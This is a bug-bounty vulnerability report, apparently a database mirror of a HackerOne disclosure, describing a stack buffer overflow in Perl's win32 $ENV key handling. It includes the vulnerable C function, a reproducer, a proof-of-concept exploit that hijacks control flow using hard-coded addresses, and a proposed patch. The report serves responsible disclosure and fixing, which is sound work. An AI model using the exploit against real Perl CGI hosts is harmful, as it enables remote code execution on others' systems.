Lucene search

K
hackeroneJohnleitchH1:272497
HistorySep 27, 2017 - 8:49 p.m.

Internet Bug Bounty: Perl $ENV Key Stack Buffer Overflow

2017-09-2720:49:46
johnleitch
hackerone.com
$1500
23

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.018 Low

EPSS

Percentile

86.4%

The CPerlHost::Add method in win32\perlhost.h is vulnerable to a stack buffer overflow.

void
CPerlHost::Add(LPCSTR lpStr)
{
char szBuffer[1024];
LPSTR *lpPtr;
int index, length = strlen(lpStr)+1;

for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
szBuffer[index] = lpStr[index];

szBuffer[index] = '\0';
[...]

}

The issue exists because the size of lpStr, the key passed in when indexing into $ENV, is not checked before it is copied into szBuffer, a fixed size stack buffer.

The issue can be reproduced on a win32 build with the following script.

print “Starting\r\n”;
$ENV{“A” x (0x1000)} = 0;
print “Done\r\n”;

In cases where the $ENV key is exposed as attack surface (such as through CGI-BIN custom HTTP headers), it may be possible for an attacker to achieve arbitrary code execution. The issue was exploited in both Strawberry and Active State Perl, which appear to be compiled without stack canaries or ASLR.

print “Starting\r\n”;

$chars =
“\x41\x41\x41\x41” .
“\x78\x6e\x3b\x6e” . # perl526!exit (6E3B6E78)
“\x43\x43\x43\x43” .
“\x4e\x1d\x1e\x03” . # exit code (52305230)
“\x45\x45\x45\x45” .
“\x46\x46\x46\x46” .
“\x47\x47\x47\x47” .
“\x30\x2c\x3a\x6e”; # perl526!win32_getpid (6e3a2c30)

$ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0;

print “Done\r\n”;

A proposed patch that validates the length of lpStr follows.

diff --git “a/d:\source2\perl-raw\win32\perlhost.h” “b/D:\source2\perl\win32\perlhost.h”
index 84b08c9…665504e 100644
— “a/d:\source2\perl-raw\win32\perlhost.h”
+++ “b/D:\source2\perl\win32\perlhost.h”
@@ -2177,12 +2177,15 @@ compare(const void *arg1, const void *arg2)
void
CPerlHost::Add(LPCSTR lpStr)
{

  • char szBuffer[1024];
  • char szBuffer[2048];
    LPSTR *lpPtr;
    int index, length = strlen(lpStr)+1;

    for(index = 0; lpStr[index] != ‘\0’ && lpStr[index] != ‘=’; ++index)

  • szBuffer[index] = lpStr[index];
  •    if (index != sizeof(szBuffer) - 1)
    
  •        szBuffer[index] = lpStr[index];
    
  •    else
    
  •        Perl_croak_nocontext("$ENV key too large");
    

    szBuffer[index] = ‘\0’;

Note that the buffer size had to be increased to accommodate larger values that were previously causing silent overwrites.

Credit: John Leitch ([email protected]), Bryce Darling ([email protected])

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.018 Low

EPSS

Percentile

86.4%